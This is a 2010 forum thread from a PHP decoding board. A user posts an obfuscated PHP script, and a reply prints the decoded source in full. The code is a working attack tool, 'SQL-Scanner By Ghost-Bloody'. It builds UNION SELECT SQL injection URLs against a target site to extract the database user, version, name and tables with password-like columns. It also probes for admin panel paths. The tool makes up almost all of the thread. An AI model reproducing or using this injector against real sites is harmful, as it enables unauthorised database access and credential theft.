|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 45
Members: 0
Total: 45
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Can anyone decode this code... |
|
Posted: Sat Dec 18, 2010 5:46 pm |
|
|
alsabri |
Beginner |
|
|
Joined: Dec 18, 2010 |
Posts: 2 |
|
|
|
|
|
|
|
Code: | <?php $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=1904;eval(gzuncompress(base64_decode('eNplj8duwkAYhF/G0u4qRlmI44AsH+idpbdL5PK7gBu7LsDTBxREhKKZ02jmk0ZilFJ2E9WdOIEIS4yx30BG3EREKzw/AFwqSexevJs4LqQCS8+pXKYVhWj/YoXWVKLdiI+l7l6zyIrDhIMQ2DQEqMq3DVZsAxYpTzl2OBj2C6JKiYzaUQr8EmfF0Zv3dsPJhq2WdaNhNq2W3XG6bt8fHEbBOJwms9NCrPPteX+l5cqH8ql+VWtv7zqSUb3RbLU73V5/MByNJ2w6my+Wq/Vmu9sbpmWD43r+4RiEUZycuEizvDhfXhiIEKJBbgT47xDRfgD5Al8g')));return;?>
GYQYAfsKI0EW/cBaMtxrEmJqy6xkdCvAsLRv6IViHHeQFVmVAsp+vaOjqo9M5MbKmkL5H0HJ+UIQS0tWNNYIW7jIHP53YchmnWNKSDhrnoW8TWt5sPs2ltxOMPFlnAW4CqEQtCHWJOZxHLHJQArGHywwedLAgE6wE6t7yqRubDSpkAwAs7pGacaBkwBBIfnTNZs9QLKMH4J0/Cn9Uqq/Y/aKd91jxTx2uHN48JCXJe0ongBeBqvmBd1n1/KXhMykQ2MKSTfeQ0N1Fyl5BGssbuIinuLwHifHHelJ4wgZFF3/qlk/5iJoPVkVkPns87R6UHd2D/954FZM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|
Location: surabaya |
|
|
|
|
|
|
Code: | <?php
@set_time_limit(0);
@error_reporting(0);
echo '<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
.title {
font-size: 24px;
color: #ffffff;
font-weight: bold;
}
input{
color: #cccccc;
dashed #ffffff;
border: 1px
solid #00FF00;
background-color: #000000
}
-->
</style>';
$inject = $_POST['inject'];
$site = $_POST['site'];
$columns = $_POST['columns'];
$column = $_POST['column'];
$option = $_POST['option'];
$site2 = $_POST['site2'];
$scan = $_POST['scan'];
echo '<title>SQL-Scanner By : Ghost-Bloody</title>
<center>
<font class=title>SQL-Scanner By : Ghost-Bloody<br /><br /></font>
<table width="600" border="1" cellpadding="1" cellspacing="0" bordercolor="#00FF00">
<tr>
<td bgcolor="#003300"><div class=title align=center>SQL injection</div></td>
</tr>
<tr>
<td><br /><center><form method="POST">
<input name="site" type="text" size="40" value="';
if (isset($site)) {
echo $site;
} else {
echo "http://www.example/index.php?id=";
}
echo '">
<input name="columns" type="text" size="2" value="';
if (isset($columns)) {
echo $columns;
} else {
echo "10";
}
echo '">
<input name="column" type="text" size="2" value="';
if (isset($column)) {
echo $column;
} else {
echo "1";
}
echo '">
<table width="200" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>Databas User: </td>
<td><input name="option" type="radio" value="data_user" ';
if ($option == "data_user" or $option !== "data_version" & $option !== "data_name") {
echo "checked";
}
echo '></td>
</tr>
<tr>
<td>Databas Version: </td>
<td><input name="option" type="radio" value="data_version" ';
if ($option == "data_version") {
echo "checked";
}
echo '></td>
</tr>
<tr>
<td>Databas Name: </td>
<td><input name="option" type="radio" value="data_name" ';
if ($option == "data_name") {
echo "checked";
}
echo '></td>
</tr>
<tr>
<td>Table Name: </td>
<td><input name="option" type="radio" value="table_name" ';
if ($option == "table_name") {
echo "checked";
}
echo '></td>
</tr>
</table>
<input name="inject" type="submit" value="Inject">
</form>';
if (isset($inject)) {
//===================================================================================================
if ($option == "data_user") {
//=
//=
$h = "user()";
} elseif ($option == "data_version") {
//=
//=
$h = "version()";
} elseif ($option == "data_name") {
//=
//=
$h = "database()";
} elseif ($option == "table_name") {
//=
//=
$h = "table_name";
//=
$b = "+from+information_schema.columns+where+column_name+like+CHAR(37,112,97,115,115,37)";
}
//=
//===================================================================================================
//=
$n = 1;
//=
$open = fopen("sql.txt", "w");
//=
$write = fwrite($open, $site . "-2+union+select+");
//======================================================================================
while ($n <= $columns) {
//=
//=
$file = file_get_contents("sql.txt");
if ($n == $column) {
//=
//=
$contents = $file . "group_concat(0x3D3D3E,unhex(hex(" . $h . ")),0x3C3D3D),";
}
//=
elseif ($n == $columns) {
//=
//=
$contents = $file . $n . $b;
} else {
//=
//=
$contents = $file . $n . ",";
}
//=
//=
$open = fopen("sql.txt", "w");
//=
$write = fwrite($open, $contents);
//=
$n++;
}
//=
//======================================================================================
//=
$sql = file_get_contents("sql.txt");
//=
$injector = file_get_contents($sql);
//=
$explode = explode("==>", $injector);
//=
$explode = explode("<==", $explode['1']);
//=
echo "<b>" . $explode['0'] . "</b></center><br />";
//===============================================
}
echo '</td>
</tr>
<tr>
<td bgcolor="#003300"><div class=title align=center>Admin Panel Scan</div></td>
</tr>
<tr>
<td><center><br /><form method="POST">
<input name="site2" type="text" size="40" value="';
if (isset($site2)) {
echo $site2;
} else {
echo 'http://www.';
}
echo '">
<input name="scan" type="submit" value="scan">
</form>';
//============================================================================
if (isset($scan)) {
$file = file_get_contents("admin.txt");
$admin = explode("
", $file);
foreach ($admin as $key) {
$header = get_headers($site2 . "/" . $key);
if ($header['0'] !== "HTTP/1.1 404 Not Found") {
echo '<a href="' . $site2 . '/' . $key . '">' . $site2 . '/' . $key . '</a>: Found!<br />';
}
}
}
//============================================================================
echo '</td>
</tr>
</table>
<br /><br /><font class=title>SQL-Scanner By : Ghost-Bloody</font>
</center>';
exit();
?> |
|
|
|
|
|
|
|
|
|
Posted: Sun Dec 19, 2010 5:07 pm |
|
|
alsabri |
Beginner |
|
|
Joined: Dec 18, 2010 |
Posts: 2 |
|
|
|
|
|
|
|
Thank you very much
Excuse me, what is the program that encoded it? |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|